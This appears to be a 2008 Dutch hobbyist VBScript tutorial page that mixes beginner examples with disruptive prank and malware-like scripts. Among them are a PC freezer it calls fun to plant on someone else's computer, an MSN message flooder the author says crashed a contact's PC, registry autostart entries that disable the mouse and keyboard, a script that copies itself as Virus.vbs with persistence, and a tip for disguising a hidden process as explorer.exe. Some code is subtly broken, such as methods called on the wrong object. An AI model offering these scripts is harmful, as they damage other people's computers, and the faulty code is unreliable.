Informatie blok

 
 
Vbs - Scripting language
VBS script    Dit document bevat een groot aantal scripts die "Visual Basic Script" gerelateerd zijn. Dit is een programmeertaal, te gebruiken op Windows systemen.

Scroll naar beneden, of klik hier, voor de VBS - programmeer projecten, en selecteer vervolgens een onderwerp dat U interessant vindt...

 

 
 

| Auteur: Johnny Heesterbeek | Datum: 10-03-2008 |

 

 

 

 

Projecten          

 
 
 
 
 VBS - scripting language

 
 
 
 

high-tech-webVBS - scripting language

 
     

Sub menu / inhoud

 
     
 
Introductie
Hello world!
Een variabele
Do ... Loop
Een slaap functie
System beep
Open CD-drive
Create file
Sendkeys
select case
Counter flip
Dummy hack
MSN® mini bot
Disable mouse
Disable keyboard
Startup file
Startpage changer
browsername changer
Shutdown commando
VBS database
WINDOWS® PC KILLER
kEY boRd FliP
VBS pc upgrader
Get user name
Get user data
Hidden programs
Time calculator
PC sleep timer
Wallpaper changer
BRB @ MSN®
Mind reader
Resistor calculator
Macro's in Word®

 

 
     

 

 

:: Introductie ::

 

    VBS is een programmeertaal voor computers. Men kan er leuke en handige programma's mee maken. Maar ook slechte, zoals virussen, het wordt dan ook wel een virustaal genoemd.


Het leuke van Visual Basic script is dat het werkt op iedere computer, zonder dat er iets voor geïnstalleerd hoeft te worden, je kan het zelfs op iedere pc maken. Ook is het mogelijk om scripts te bewerken vanuit iedere computer( rechtermuis knop bewerken of edit) (overigens zijn er wel editors voor vbs)

Visual Basic Scripts maken is niet zo moeilijk, als beginner kun je steeds stukjes code overnemen, en plakken in je script. Verder hebben de script bestanden nog een ding gemeen: ze eindigen allemaal met de extensie .vbs

Dus als je een script gaat maken, open je ten eerste je kladblok (standaard in Windows) en je typt vervolgens de gewenste opdracht.

 

 

:: Hello world! ::

 

    Dit script kan een zogenaamde Message box (bericht blok) genereren...

1
 
MsgBox "Hello world!"

of

1
 
Wscript.echo "Hello world!"

De tekst tussen aanhalingstekens word dus in de popup weergegeven. Het gebruik van beide manieren is toegestaan, en zijn ongeveer hetzelfde in het gebruik. De kop boven de standaard "MsgBox" is alleen anders dan bij de "Wscript.echo".

 


 


 

Ga naar kladblok of een andere editor. En vervolgens sla je dit document op als: alle bestanden, en dan als bestandsnaam hello.vbs

Vervolgens open je dit, en je zult merken dat je een tekst venstertje krijgt met hallo en een 'OK' knopje daaronder. Dit is het verschil tussen de 2 bericht boxen.
 

Je kunt deze message box ook nog een naam geven, hier volgt de code om dit te realiseren:

1
 
MsgBox "Hello world!" ,vbOKonly, "Ik heb op www.high-tech-web.nl.tt mijn eerste VBS source-code leren schrijven!"

De code vbOKOnly geeft aan dat alleen de "ok" knop weergegeven mag worden, maar er zijn nog veel meer mogelijk heden.

Knoppen:

  • vbYesNo of 4 is JA/NEE knoppen

  • vbAbortIgnoreRetry of 2 is Abort, Retry en Ignore knoppen

icoontjes:

  • vbCritical of 16 is een kritieke waarschuwing (rood rondje met wit kruis)

  • vbQuestion of 32 is een vraagteken cioon (blauw vraagteken icoon)

  • vbExclamation of 48 is een waarschuwing icoon (driehoek met uitroepteken)

  • vbInformation of 64 is een informatieve mededeling (info icon)

  • vbSystemModal of 4096 is een popup die altijd op de voorgrond staat

 

Ook kan het met nummers, met de volgende nummers kun je icoontjes en knoppen toevoegen:

Hier is een lijst van alle nummers.

-Knoppen-
0 - alleen de OK knop
1 - OK en Cancel knop
2 - Abort, Retry en Ignore knoppen
3 - Yes, No en Cancel knoppen
4 - Yes en No knoppen
5 - Retry en Cancel knoppen

-Icoontjes-
16 - Krietieke waarschuwing icoon
32 - Vraag icoon
48 - Waarschuwing icoon
64 - Informatie icoon


 

tip* Geef  alle VBS- codes een identieke bestandsnaam zodat je ze later nog gemakkelijk terug kunt vinden

Natuurlijk kun je nog veel meer met deze programmeertaal, maar dit was een voorbeeld...

 

 

:: Een variable ::

 

    Een variabele is een wiskundige term die een getal of een letter kan bevatten. Zoals waarschijnlijk al bekend kan een variabele variëren oftewel veranderen. In deze VBS-source wordt de variabele eerst toegewezen, en later weer uitgelezen.

Als de variabele een letter of woord betreft...

1
2
 
a = "voorbeeld"
MsgBox "De variabele 'a' betreft: " & a & "."

... of als de variabele een numeriek antwoord betreft...

1
2
 
a = 1000
MsgBox "De variabele 'a' betreft: " & a & "."

De tekst tussen aanhalingstekens word dus in de popup weergegeven.


 

 

Voor de variabele kun je ook een getal laten invoeren door middel van een zogenaamde 'inputbox'.

1
2
 
a = inputbox ("Hoeveel is 'a'?")
MsgBox "variabele 'a' is: " & a & ""

 

...of, wat namelijk ook kan...

1
2
 
a = inputbox ("Hoeveel is 'a'?")
MsgBox "variabele 'a' is: " + a

 

 

Andere variabele die je ook vaak tegenkomt zijn bijvoorbeeld: strInput = False of strInput = True. Deze variabele zie je terug in de wat grotere VBS-projecten. Deze waardes zijn bijvoorbeeld nodig om toegang te krijgen tot een bepaald stuk van een script. Vrij vertaald betekend het waar of niet waar. Je zou het kunnen zien als een digitale, logische 1 of 0 die toegewezen wordt aan een zogenaamde string, of variabele.

 

 

:: Do ... Loop ::

 

    Do en loop zijn commando's om aan te geven dat een bepaald stuk van een script steeds herhaald moeten worden. Alles wat tussen deze 2 commando's staat zal herhaald worden. Dit script kan een zogenaamde Message box (bericht blok) genereren...

1
2
3
 
Do
MsgBox "Hello world!"
Loop

De tekst tussen aanhalingstekens word dus steeds in een popup weergegeven.


 

 

Ook is het mogelijk om een enigszins beperkte loop te maken. Dit doe je met behulp van een variabele zoals hierboven staat beschreven. Wat je hiervoor moet doen is van tevoren bepalen hoe vaak je de functie uit wilt voeren, en vervolgens het script steeds laten aftellen naar dat moment. Optellen, vuldingen en delen kan overigens ook.

1
2
3
4
5
 
a = 5
Do

MsgBox "Hello world!"
a = a - 1

Loop until a = 0
 

 

 

Zie hier het voorbeeld met een optelling:

1
2
3
4
5
 
a = 0
Do

MsgBox "Hello world!"
a = a + 1

Loop until a = 5
 

 

 

 

:: Een slaap functie ::

 

    Via een simpele code kun je een zogenaamde slaap of sleep functie aanroepen in VBS. De volgende code laat de bekende 'message box' zien maar door middel van de 'sleep functie' zit er 5 seconden vertraging in. Het ingevoerde getal: '5000' is de tijd in milliseconden. Dus 1 minuut is bij voorbeeld 60000 milliseconden. Het allereerste commando moet je domweg gewoon kopiëren, want dit heeft de computer nodig om te weten wat WScript is. Als dit commando zou ontbreken krijg je een foutmelding dat het systeem geen WScript geladen heeft. En tot slot moet WScript dus ook uit het geheugen van de computer gehaald worden. Dit doe je met het laatste commando, het sluit namelijk WScript.

1
2
3
4
 
Set shl = CreateObject("WScript.Shell")
Wscript.sleep 5000
MsgBox "Dit was een voorbeeld van 5 seconden vertraging!"
Wscript.Quit

 

 

 

:: System beep ::

 

    Deze code laat een piep uit je pc-speaker komen.

1
2
3
 
Set shl = CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
Wscript.Quit

 

 

Om deze handeling automatisch te laten herhalen, kan men het gedeelte...
 
1
 
oWS.Run "%comspec% /c echo " & Chr(07), 0, True

...een x aantal keer achter elkaar plakken. Echter is dit niet handig, en krijg je hierdoor een erg lange code. Het eerste stukje code moet namelijk wscript.exe starten in het geheugen van de computer. Als wscript.exe eenmaal gestart is kun je er gebruik van maken, zonder dat je het steeds opnieuw aan moet roepen totdat je het weer sluit (Wscript.Quit).

Een andere oplossing is dus om er de commando's 'do' ervoor, en 'loop' en achteraan zetten. Hierdoor zal de computer in een soort looping raken, en zal steeds bij 'loop' terug naar 'do' springen. Zie het "Do...loop artikel" hierboven voor nadere uitleg van deze code.

 

1
2
3
4
 
Set oWS = WScript.CreateObject("WScript.Shell")
Do
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
Loop

 

Door dit script uit te voeren zal het systeem steeds kortstondige piepjes blijven produceren.

Merk op dat de code "Wscript.Quit" overbodig is in DIT script met een oneindige "loop" functie.

Om dit programma te stoppen, druk je op CTRL-ALT-DEL en selecteer je wscript.exe en druk je op "Taak beëindigen" / "End process", zodat het programma stopt. Later in deze mini cursus zul je ook leren om een beperkte loop te maken, zodat het programma ook nog ooit uit zichzelf zal stoppen.


 
 

:: Open CD-drive ::

 

    Dit stukje script kan ervoor zorgen dat de cd speler van de computer wordt geopend. Om dit script uit te kunnen voeren, heb je wel Windows media player® nodig, maar dat zit standaard op iedere pc...

1
2
3
 
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
colCDROMs.Item(i).Eject

 


Om het cd-luikje weer te sluiten moet je de code "colCDROMs.Item(i)".Eject nogmaals plaatsen, achteraan het script.

 

1
2
3
4
 
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject

 

Ook hier kan het  'Do' en 'Loop' verhaal toegepast worden.

Let op: dit script kan niet uit het geheugen van de computer gehaald worden zolang deze niet herstart wordt.


 
 

:: Create file ::

 

    Dit is een programma dat een bestand aan kan maken vanuit een VBS- script.

  • Dit script roept als eerste weer een hulp-systeemobject aan, en gebruikt dit om een bestand aan te kunnen maken (Scripting.FileSystemObject).

  • Daarna geeft het aan hoe en waar het te creëren bestand moet gaan heten (voorbeeld.txt) , en dat het op de C schijf opgeslagen dient te worden(C:\) .

  • De code "WriteLine" spreekt voor zich, deze code schrijft een regel.

  • De code "Wscript.Quit" maakt het geheugen van de computer weer leeg. ( Je kunt ook "a.Close" gebruiken.)

1
2
3
4
 
Set fs = CreateObject("Scripting.FileSystemObject")
Set a = fs.CreateTextFile("C:\voorbeeld.txt")
a.WriteLine ("Dit is een voorbeeld!!!")
Wscript.Quit

 

 

Natuurlijk kun je dit  script ook als hulpmiddel gebruiken om weer een nieuwe VBS te schrijven, en naar de door jou opgegeven locatie te sturen.

Let op dat als je bijvoorbeeld je nieuwe bestandsnaam een onveilige of dubbele extensie geeft: (boe.gif.exe), dat de virusscanner dit niet leuk vindt ;-).

 

 

:: Send keys ::

 

    Dit stukje script stuurt toetsaanslagen naar het door jouw ingevoerde programma. De code gedraagt zich letterlijk als een toetsenbord.

  • Dit script roept als eerste weer een hulp-systeemobject aan (Scripting.FileSystemObject), en gebruikt dit om een bestand aan te kunnen openen.

  • Daarna geeft het aan welk programma er gestart moet worden: (notepad.exe), en dat het op in de root directory moet staan. Ook kun je rechtstreeks een pad voor windows invoeren: (C:\voorbeeld.exe).

  • De code "Wscript.sleep" zorgt ervoor dat de pc even de tijd heeft (1000 milliseconden is 1 seconde) om kladblok op te starten, voordat het script de tekst ernaartoe stuurt.

  • De code "shl.SendKeys" drukt de virtuele toetsen in.

  • De code "Wscript.Quit" maakt het geheugen van de computer weer leeg.

1
2
3
4
5
 
Set shl = CreateObject("Scripting.FileSystemObject")
shl.Run "%SystemRoot%\system32\notepad.exe"
Wscript.sleep 1000
shl.SendKeys("www.high-tech-web.nl.tt @ kladblok!")
Wscript.Quit

 

Je kan nog veel meer verschillende toetsaanslagen maken, maar daarvoor kun je beter op deze site kijken: SENDKEYS.

 

 

:: Select case ::

 

    Dit is een script waarbij je verschillende cases kunt aanroepen. Voor iedere input leg je dus een van te voren bepaalde bijbehorende output vast.

  • Dit script genereert ten eerste een inputbox waarvan de ingetypte input tijdelijk opgeslagen wordt onder de variabele "a".

  • Daarna kijkt het programma naar de gegeven input (hoofdlettergevoelig!!!) en zoekt vervolgens de juiste "case" hierbij.

  • In de case staat de inhoud van een variabele die uiteindelijk weer wordt opgeslagen onder de variabele "strlang".

  • In de MsgBox komt de inhoud van de "strlang" te staan.

  • De code "Wscript.Quit" maakt het geheugen van de computer weer leeg.

1
2
3
4
5
6
7
 
a = inputbox ("NL / EN?:")
Select Case a
Case "NL" strlang = "Je hebt Nederlands geselecteerd!"
Case "
EN" strlang = "You picked English!"
Case else
strlang = "Sorry, your language is not supported : ("
End Select

MsgBox ""& strlang &""

 

 

Je kan ook een geavanceerdere versie van dit script gebruiken. Bij het volgende script zitten kopjes, en andere handige snufjes. Maar let wel op dat een foutje hierbij sneller is gemaakt. Overigens is het principe weer hetzelfde, maar er zijn meerdere variabele aangebracht.

 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 
ODim strMsg,inp01,strTitle,strFlag
strTitle = "Answer Box"
strMsg = "Maak je keuze!" & vbCR
strMsg
= strMsg & "typ N voor Nederlands" & vbCR
strMsg
= strMsg & "typ E voor Engels" & vbCR
strFlag
= False
Do While strFlag = False
inp01
= InputBox(strMsg,"maak je keuze!")
Select Case inp01
Case "n"
MsgBox "Je hebt gekozen voor Nederlands",64,strTitle
strFlag = True
Case "e"
MsgBox "You picked english!",64,strTitle
strFlag
= True
Case Else
MsgBox "You made an incorrect selection!",64,strTitle
End Select
Loop
Wscript.Quit


 

 

 

:: Counter flip ::

 

    Dit stukje script start een door jou opgegeven webpagina, en zorgt dat deze om de 2 seconden herladen wordt.

  • Dit script roept als eerste weer een hulp-systeemobject aan  (Wscript.exe), en gebruikt dit om een locatie te kunnen adresseren (de site).

  • Daarna geeft het aan welk programma er gestart moet worden: (http://www...je slachtoffer :D...nl/ wordt gestart in je standaard browser).

  • De code "Wscript.sleep" zorgt ervoor dat de pc even de tijd heeft (2000 milliseconden is 2 seconde) om de website helemaal te laden, voordat het script de refresh functie ernaartoe stuurt.

  • De code "shl.SendKeys" drukt de virtuele toetsen in.

  • De code "Wscript.Quit" maakt het geheugen van de computer weer leeg.

1
2
3
4
5
6
 
Set shl = CreateObject("Wscript.shell")
shl.Run "
http://www...je slachtoffer :D...nl/"
do

Wscript.sleep 2000
shl.SendKeys("{F5}")
Loop
 

 

 

 

:: Dummy hack ::

 

    Dit is een leuk programmatje... Je hebt er trouwens wel Windows XP of Windows NT voor nodig (anders moet je op een andere manier het kladblok zien te openen) Het lijkt net op een hack programma. Wat je zult zien is een kladblok venster waarin een reeks binaire getallen getoond worden.

  • het script start een hulpapplicatie "Set shl = CreateObject("Wscript.shell")"

  • daarna opent het notepad / kladblok

  • het script wacht 1 seconde op kladblok

  • projecteert de tekst: HACKING SYSTEM en zet middels een do...loop code 10 puntjes in vertraagde toestand achter de huidige tekst

  • vervolgens is er nog een do...loop code waardoor er binaire codes geprojecteerd worden, en die gevolgd worden door een enter, en tevens 100 maal herhaald wordt

  • Ten slotte wordt het script uit het geheugen gehaald met de code: "Wscript.Quit".

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 
Set shl = CreateObject("Wscript.shell")
shl.Run "
%SystemRoot%\system32\notepad.exe"
Wscript.sleep
1000
shl.SendKeys("
HACKING SYSTEM")
Do
Wscript.sleep
750
shl.SendKeys("
.")
a = a + 1
Loop until
a = 10
shl.SendKeys("
~~~~")
Do
shl.SendKeys("
10110111101101001101010100100001110101011011010111001101011101101010101101011011010110101010111101~")
shl.SendKeys("
10101010101010101010111100011101011010110111010111010110101010110101011011101011010101011010101001~")
shl.SendKeys("
10101010101101011101111010110111101011100101101101111111001011010010011011010111010110101110101011~")
shl.SendKeys("
10101011011001111010110101110111011101010111111011011110101101011011001011010110111010101001010111~")
shl.SendKeys("
01010010101010100101000011110101010100101010101001010101010100100101010101010101011010101010101010~")
b = b + 1
Loop until
b = 100
Wscript.Quit
 

 

 

Wees gerust, het script doet niets zolang jij ook niets doet...(switch dus niet naar een andere applicatie zolang dit script in werking is)

 

 

:: MSN® mini bot ::

 

    Dit script is in staat door middel van het gebruik van sendkeys, teksten vliegensvlug via MSN® te versturen. Het is een leuk script om te gebruiken in combinatie met MSN® om je messenger buddy's te doen verbazen. Maar het kan uiteraard ook met ieder willekeurig ander programma. Het principe is namelijk hetzelfde.

  • het script start een hulpapplicatie "Set shl = CreateObject("Wscript.shell")"

  • daarna opent het notepad / kladblok

  • het script wacht 1 seconde op kladblok

  • projecteert de tekst: HACKING SYSTEM en zet middels een do...loop code 10 puntjes in vertraagde toestand achter de huidige tekst

  • vervolgens is er nog een do...loop code waardoor er binaire codes geprojecteerd worden, en die gevolgd worden door een enter, en tevens 100 maal herhaald wordt

  • Ten slotte wordt het script uit het geheugen gehaald met de code: "Wscript.Quit".

1
2
3
4
5
6
7
8
 
Set shl = CreateObject("Wscript.shell")
Wscript.sleep 5000
do
shl.SendKeys("blabla~")
Wscript.sleep 10
a = a + 1
loop until a = 50
Wscript.Quit

MSNhulpje.vbs noem ik dit script zelf... hiermee kan ik de pc van iemand over zijn nek helpen via 'MSN', al getest bij blabla@chatman.nl die pc lag heel even plat. Ik had de code wel vaker geplakt, dan hieronder te zien is moet ik zeggen. (toch wel lol op zich =D)

Verder kun je deze codes naar wens vaker kopiëren , wachttijd veranderen of tekst aanpassen. Ook is het mogelijk om do (voor) en loop (achter) het script plaatsen ( als je ctrl-alt-del drukt kun je m stoppen door Wscript te beëindigen) om er voor te zorgen dat het script niet te lang gaat worden.


 

 

Je kan er ook voor kiezen om een iets langere code te gebruiken, maar dan met steeds andere woorden, om het iets realistischer te laten lijken. Het principe is weer hetzelfde alleen in plaats van de "do..loop" functie, gewoon een herhaling van de "sendkeys" code. Op de plaats "...hier jouw tekst..." kun je je eigen tekst invoeren. Verder zitten er steeds tussenpozen in van 10 milliseconden. De "{enter}" functie is nodig om de knop "verzenden" in te toetsen.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 
Set shl = CreateObject("Wscript.shell")
Wscript.sleep
5000
shl.SendKeys("
...hier jouw tekst...{enter}")
Wscript.sleep
10
shl.SendKeys("
...hier jouw tekst...{enter}")
Wscript.sleep
10
shl.SendKeys("...hier jouw tekst...{enter}")
Wscript.sleep
10
shl.SendKeys("...hier jouw tekst...{enter}")
Wscript.sleep
10
shl.SendKeys("...hier jouw tekst...{enter}")
Wscript.sleep
10
shl.SendKeys("...hier jouw tekst...{enter}")
Wscript.sleep
10
shl.SendKeys("...hier jouw tekst...{enter}")
Wscript.sleep
10
shl.SendKeys("...hier jouw tekst...{enter}")
Wscript.Quit
 

 


 
 

:: Disable mouse ::

 

    En nu pas gaat t echt leuk worden: dit is een soort virusje, (alleen voor Windows 98). Hiermee kun je de muis van je pc uitschakelen, t werkt echt...
Het script roept eerst een object aan, om vervolgens een systeemwaarde in het register van Windows® te kunnen veranderen.

1
2
3
 
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableMouse", "Rundll32.exe Mouse,Disable"

 

 

 

:: Disable keyboard ::

 

    Dier volgt het scrip om je toetsenbord uit te schakelen:

Het script roept eerst een object aan, om vervolgens een systeemwaarde in het register van Windows® te kunnen veranderen.

1
2
3
 
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Disable
Keyboard", "Rundll32.exe Keyboard,Disable"

 

 

 

:: Startup file ::

 

    Dit is een script dat ervoor kan zorgen dat een bepaald bestand steeds gestart kan worden als Windows ook gestart wordt. Indien dit een virus betreft kan dit uitgeschakeld worden in de veilige modus van Windows. Deze veilige modus van Windows kan opgestart worden door bij het starten van de machine, de F8 toets in gedrukt te houden, je komt dan in een menu, waarbij de gebruiker veilige modus selecteerd met de pijltjestoetsen, en op enter drukt, het programma dat normaal gestart zou worden start dan niet, en is via het commando: "MSCONFIG" in het menu START/RUN of START/UITVOEREN uit te schakelen, door middel van het de-selecteren van een selectie vakje in het laatste blok van het menu dat jouw programma bevat.

Wat het programma doet, is het volgende:

  • Het programma roept een systeemobject aan: "Wscript.Shell".

  • daarna roept het programma nog een systeemobject aan: "Scripting.FileSystemObject".

  • vervolgens zet het programma in de "Windows map" het bestand virus.vbs

1
2
3
4
5
6
7
 
Set Shl = CreateObject("Wscript.Shell")
Set
fso = CreateObject("Scripting.FileSystemObject")
winfolder = fso.GetSpecialFolder(0)
Set vbsfile = fso.GetFile(WScript.ScriptFullName)
vbsfile.Copy winfolder & "\Virus.vbs"
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start menu",winfolder & "\Virus.vbs"

 

 

 

:: Startpage changer*tip ::

 

    Dit is een zeer handig script om automatisch een andere startpagina laten aanmaken (zonder melding). Op bedrijven en instellingen zoals scholen en clubhuizen is het vaak niet mogelijk om de startpagina te wijzigen in een zoekpagina. VBS is meestal niet geblokkeerd... Dus dit biedt vaak DE uitkomst:

  • Het programma roept een systeemobject aan: "Wscript.Shell".

  • Daarna zet het de registerwaarde van de startpagina van IE® op de desbetreffende site.

  • Uiteindelijk wordt het script ook weer uit het geheugen gehaald.

1
2
3
4
 
Set Shl = CreateObject("Wscript.Shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","www.high-tech-web.dse.nl
Wscript.Quit

 

 

 

:: Browser name changer*tip ::

 

    Dit script is in staat om de naam van je browser te veranderen. Dit geldt alleen voor Internet Explorer browsers. Het resultaat zie je boven in je scherm in de blauwe balk waar ook de 3 bekende minimaliseren, vorig formaat, en afsluiten knoppen staan.

  • Het programma roept een systeemobject aan: "Wscript.Shell".

  • Daarna zet het de registerwaarde van de naam van IE® op de desbetreffende naam: (WWW.HIGH-TECH-WEB.NL.TT IS COOL!!!).

  • Uiteindelijk wordt het script ook weer uit het geheugen gehaald.

1
2
3
4
 
Set Shl = CreateObject("Wscript.Shell")
Shl.RegWrite "
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","WWW.HIGH-TECH-WEB.NL.TT IS COOL!!!"
Wscript.Quit

 

 

 

:: Shutdown commando ::

 

    Dit script is in staat om de computer af te laten sluiten.

  • Het programma roept een paar systeemobjecten aan, met nog wat (voor ons gebruik) oninteressante variabelen.

  • Vervolgens geeft het script het echte commando om af te sluiten: "OpSys.ShutDown()".

  • Het commando "next" word hier altijd in combinatie met dit script gebruikt.

1
2
3
4
5
 
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next

 

 

 

:: VBS database ::

 

    En met dit stukje script kun je een aantal gegevens verzamelen en opslaan in een ander bestand in de zelfde map. (je moet nog wel ff de gegevens die je wilt hebben aanpassen indien nodig)

  • Het programma roept een systeemobject aan: "Wscript.Shell".

  • Het programma genereerd 3 verschillende inputboxen, en slaat de uitkomsten van de variabelen op in een apart bestand "gegevens.txt". Dit bestand komt uiteindelijk te staan in dezelfde directory als waar de VBS wordt uitgevoerd.

  • Uiteindelijk wordt het script ook weer uit het geheugen gehaald.

1
2
3
4
5
6
7
8
9
10
11
12
 
Const ForWriting = 2
Const ForAppending = 8
email = InputBox("Voer je e-mail in: ","Invoer Gegevens - e-mail")
w8w = InputBox("Voer je wachtwoord in: ","Invoer Gegevens - wachtwoord")
bw8w = InputBox("Geef bevestiging van het wachtwoord: ","Invoer Gegevens - bevestiging wachtwoord")
bestand = "gegevens.txt"
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.OpenTextFile(bestand,ForAppending,True)
f.Writeline "e-mail : " + email
f.Writeline "wachtwoord : " + w8w
f.Writeline "bevestiging : " + bw8w
Wscript.Quit
 

 

 

 

:: Windows pc killer ::

 

    En dit script zorgt voor een ECHTE vastloper! Leuk om bij iemand op de pc te zetten, reset knop is de enige optie, ctrl- alt- del gaat niet echt meer( dat zou verloren zaak zijn) en ALT F4 is te langzaam.

  • Het programma roept een systeemobject aan: "Wscript.Shell".

  • Het script zal Windows® blijven openen tot dat de pc volledig vast zit en hangt. Let daarbij op dat het systeem uiteindelijk een BSOD kan krijgen!!!

  • Uiteindelijk wordt het script niet meer uit het geheugen gehaald, omdat de pc toch niet meer zal reageren. De code zou overbodig zijn.

1
2
3
4
 
Set Shl = CreateObject("Wscript.Shell")
do
shl.Run "
explorer.exe"
Loop

 

 

 

:: KeY BoArD fLiP ::

 

    Dit script zorgt ervoor dat de lichtjes op je toetsenbord gaan knipperen: Een tip is om bij het starten ervoor te zorgen dat alle LED's aan, OF alle LED's uit zijn... Uiteraard kun je zelf andere volgordes aanbrengen van de lichtjes. Denk aan een looplicht, stroboscoop, of binair laten op, en aftellen.

  • Het programma roept een systeemobject aan: "Wscript.Shell".

  • Vervolgens beland het programma in een loop van num-, caps- en scrolllock.

1
2
3
4
5
6
7
8
9
 
Set Shl = CreateObject("Wscript.Shell")
Do
shl.SendKeys("
{NUMLOCK}")
Wscript.sleep
500
shl.SendKeys("
{CAPSLOCK}")
Wscript.sleep
500
shl.SendKeys("
{SCROLLLOCK}")
Wscript.sleep
500
Loop

 

DOWNLOAD KEYBOARD DISCO! keyboard disco.vbs

(als de link niet werkt: rechtermuisknop, opslaan als...)


(ZORG ERVOOR DAT ALLE LICHTJES BIJ HET STARTEN UIT ZIJN)

 

 

:: VBS pc upgrader*tip ::

 

    Dit script laat je computer maximaal 27 seconden sneller opstarten:

  • Het programma roept een systeemobject aan: "Wscript.Shell".

  • Vervolgens beland het programma in een loop van num-, caps- en scrolllock.

1
2
3
4
5
6
7
8
9
10
11
 
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
&
"{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colStartupCommands = objWMIService.ExecQuery _
("Select * from Win32_ComputerSystem")
For Each objStartupCommand in colStartupCommands
objStartupCommand.SystemStartupDelay = 3
objStartupCommand.Put_
Next
MsgBox "Gefeliciteerd: operatie 'pc boost up' gelukt !! "
Wscript.Quit

 

Hierbij zit het hem in het commando: objStartupCommand.SystemStartupDelay = 3 <----- . Dit script komt rechtstreeks van de site van microsoft, maar dan natuurlijk een beetje bewerkt :D (Een pc start standaard 30 seconden langer op)

Voor de complete ( en meteen uitvoerbare ) VBS moet je kijken bij mijn downloads!

 

 

:: Get user name ::

 

    Dit is een heel intelligent script :-P , het weet namelijk wie je bent :-D

  • Het programma roept een systeemobject aan: "Wscript.Shell".

  • Vervolgens "kijkt" het programma in het register van Windows®, om te kijken op wie het systeem geregistreerd staat.

  • Uiteindelijk genereert het programma een popup met de verzamelde informatie.

1
2
3
4
5
6
7
8
 
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
&
"{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colWPA = objWMIService.ExecQuery _
("Select
* from Win32_WindowsProductActivation")
For Each objWPA in colWPA
MsgBox "
Hallo "& objWPA.ServerName
Next

 

Dit script gebruikt de naam op wie het MICRO$OFT PRODUCT is geïnstalleerd.

 

 

:: Get user data ::

 

    Een andere variant hiervan is deze:

  • Het programma roept eerst een aantal systeemobjecten aan: "winmgmts:" en "objWMIService.ExecQuery".

  • Vervolgens "kijkt" het programma in het register van Windows®, om te kijken op wie het systeem geregistreerd staat, en naar het product ID.

  • Uiteindelijk genereert het programma een popup met de verzamelde informatie.

1
2
3
4
5
6
7
8
 
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
&
"{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colWPA = objWMIService.ExecQuery _
("Select
* from Win32_WindowsProductActivation")
For Each objWPA in colWPA
MsgBox "
Gebruiker: " & objWPA.ServerName & vbcrlf & vbcrlf & "Product ID: " & objWPA.ProductID
Next

 

Dit script geeft het product ID van je MICRO$OFT pakket :-P

 

 

:: Hidden programs ::

 

    Dit script zorgt ervoor dat er een programma opgestart wordt, (notepad.exe) zonder dat je t ziet.

  • Het programma roept eerst een aantal systeemobjecten aan: "winmgmts:", "Win32_ProcessStartup" en "objStartup.SpawnInstance".

  • Vervolgens wordt er een voorbereiding gemaakt om een programma onzichtbaar op te starten.

  • Uiteindelijk wordt het programma"Notepad.exe" gestart in onzichtbare modus.

1
2
3
4
5
6
7
8
 
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
&
"{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")

Set
objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow
= HIDDEN_WINDOW
Set
objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create("Notepad.exe", null, objConfig, intProcessID)

 

Pas op met het maken van gekke programma's, want als je CTRL-ALT-DEL doet, dan zie je t wel. Natuurlijk geef je het dan een onschuldige naam als:: "explorer.exe" :-D.

 

 

:: Time calculator ::

 

    Dit is een leuk, maar vooral ook handig script dat je kan gebruiken, als je bijvoorbeeld van een x aantal minuten naar eventueel uren of dagen wilt omrekenen. Het script is zeer complex. Bij het maken ben ik stap voor stap te werk gegaan en steeds een stukje bij geprogrammeerd. Het geheim achter dit programma is dat het programma vol zit met berekeningen, en vergelijkingen. Oftewel: puur logisch nadenken ;-). Vandaar noem ik het een tijd rekenmachine.

Als je zin, en tijd hebt kun je naast dagen, uren, en minuten, ook een week, maand, of jaarteller maken.

  • Het programma genereert eerst een input box waarin je een tijd in minuten kunt invoeren.

  • vlak hierna wordt het getal dat is ingegeven getest op geldigheid (het script filtert getallen die negatief zijn of letters bevatten), en geeft anders een foutmelding

  • Éen dag bestaat uit 1440 minuten. Als de invoer groter is dan 1440 minuten dan haalt het programma 1440 minuten van de variabele a af tot dat a kleiner is dan 1439 minuten. Ook kijkt het programma hoe vaak dat deze handeling is uitgevoerd en zet dat meteen om in dagen.

  • Ook moet de output aangepast worden als dit het geval is, de laatste "MsgBox" moet uiteraard correct Nederlands zijn en moet indien er meer dagen zijn geen "dag" maar "dagen" laten verschijnen.

  • Bij de uren gebeurt in principe hetzelfde, alleen dan met 59 minuten aftrek.

  • Het overgebleven getal in variabele "a" wordt het resterende aantal minuten. Ook hier moet gekeken worden of dat het om 1, of meerdere minuten gaat.

